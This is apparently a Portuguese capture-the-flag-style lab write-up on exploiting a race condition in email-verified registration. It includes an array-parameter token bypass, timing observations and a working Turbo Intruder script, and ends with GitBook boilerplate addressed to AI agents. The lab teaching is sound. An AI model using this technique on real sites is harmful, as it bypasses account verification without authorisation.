> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/race-conditions/partial-construction-race-condition.md).

# Condição de Corrida de Construção Parcial

### Condições de corrida na construção parcial

#### Objetivo do Laboratório

* O site oferece um mecanismo de registro com **verificação por e-mail**.
* Um **condição de corrida** permite que você **burlar a verificação** e se registrar com um endereço arbitrário.
* Objetivo final: **criar uma conta**, fazer login e depois **excluir usuário `carlos`**.

#### Contexto observado (registro)

* Mensagem da interface:

<figure><img src="/files/68286a8d3eab190c21d6dbc88b7d5c85d8ceab45" alt=""><figcaption></figcaption></figure>

Tentativa de criar uma conta com o e-mail fornecido pelo lab -> resposta:

<figure><img src="/files/3ec2cfe130dcc3ae82d31d0c42764477624e2591" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5a67298f03612140082d25a3f0a117c169d22994" alt=""><figcaption></figcaption></figure>

Tentada com um e-mail válido, por exemplo `jordan@ginandjuice.shop` → resposta:

**“Verifique seus e-mails para obter o link de registro da sua conta”**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="/files/ed8a31b64ce23aa6e1c7e95e10bec8e3dd748133" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/157beadf595ea28ebf613a8f5184f025876554f7" alt=""><figcaption></figcaption></figure>

#### Análise de exploração (recursos/users.js)

<figure><img src="/files/be65930741cb9b2a081ff5d269462d3941d61405" alt=""><figcaption></figcaption></figure>

Em `users.js`, vemos:

* O formulário de registro envia `nome de usuário`, `email`, `senha`.
* A confirmação do e-mail é feita por um **POST** para:
* `POST /confirm?token=...`
* O token é extraído da URL e injetado na action do formulário de confirmação.

Conclusão: a validação depende de um endpoint **/confirm** com um **token** transmitido na query string.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Nome de usuário';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'E-mail';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Senha';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Registrar';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Confirmar';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### Primeira tentativa e bloqueio

* Tentativa de forçar uma confirmação vazia:

```http
POST /confirm?token=token
```

<figure><img src="/files/e88486c405229d74f1d71fb60ca99368cc60ddaf" alt=""><figcaption></figcaption></figure>

* Resposta: **Proibido** → endpoint protegido contra token vazio

<figure><img src="/files/ea5fd83a72a323893447bb01eeae2ea1be30fdda" alt=""><figcaption></figcaption></figure>

#### Contornando a proteção (interpretação alternativa)

Nova tentativa:

```bash
/confirm?token[]=
```

* Resposta: \*\*
* Interpretação: o backend não bloqueia mais com Proibido; ele \*\*processa o valor\*\* (mas indica que é um array).

<figure><img src="/files/eafbf605e498d6580fdc49bf3359ae4024f365db" alt=""><figcaption></figcaption></figure>

#### Observação de tempo

* O **registro** requisição é mais lenta:
* /\~ **199 ms**

O **confirmação** requisição é mais rápida:

* /\~ **78 ms**

<figure><img src="/files/5cc11bfda54e39610fe93f562d0d8b6b79ddc74f" alt=""><figcaption></figcaption></figure>

Ideia: **bombardeie** `/confirm?token[]=` durante a janela em que a conta está sendo criada, para disparar uma confirmação no momento errado

### Exploração

#### Método 1 — Intruder (competição)

1. Envie a `POST /confirm?token[]=` requisição para o Intruder.

<figure><img src="/files/95b22e46a0d936308bf347746e6a008cb914e413" alt=""><figcaption></figcaption></figure>

* Configure o envio como **requisições concorrentes** (por exemplo, 10).

<figure><img src="/files/b656d6764f214be25230c809a8ca4354b4dc8b22" alt=""><figcaption></figcaption></figure>

* Durante esse spam, a partir do Repeater (ou navegador), crie várias contas:
* `test1`, `test2`, `test3`,... `test7`

Verifique as respostas no Intruder:

* Uma das respostas acaba retornando **200**

<figure><img src="/files/d886ebbb884c2bbe4cbc69dba623f0cf2f7e889d" alt=""><figcaption></figcaption></figure>

Tente fazer login com contas de teste:

* Sucesso observado (por exemplo, `test2`).

<figure><img src="/files/13b7985c73045d7bed02ba5074d63bf271fcca8d" alt=""><figcaption></figcaption></figure>

#### Método 2 — Turbo Intruder (Race Single Packet Attack)

1. Selecione uma requisição e envie para o **Turbo Intruder**.

<figure><img src="/files/cf4109c39b74ff9e89c2c6b83447574877e18533" alt=""><figcaption></figcaption></figure>

* Escolha o **corrida / pacote único** ataque.

<figure><img src="/files/d6d2378d0838703eb44accfa8451bcd8a4bcba8f" alt=""><figcaption></figcaption></figure>

Use este script:

Princípio do script (como aplicado aqui):

* Arquivo **vários registros** (`lol0..lol19` usuários)
* Requisição **muitas confirmações** (`/confirm?token[]=`)
* Abra a comporta para disparar a condição de corrida.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/b0de4df9be5f3b562075bfe216427b22b15914b9" alt=""><figcaption></figcaption></figure>

#### Resultado esperado

* Pelo menos uma conta é criada **como se o e-mail tivesse sido confirmado** (sem possuir o token).
* Você pode então fazer login com essa conta e usar os recursos da conta para alcançar o objetivo do lab (exclusão de `carlos`).

<figure><img src="/files/76da6934b1827149eea0bf292f40f6ab4fec5e81" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
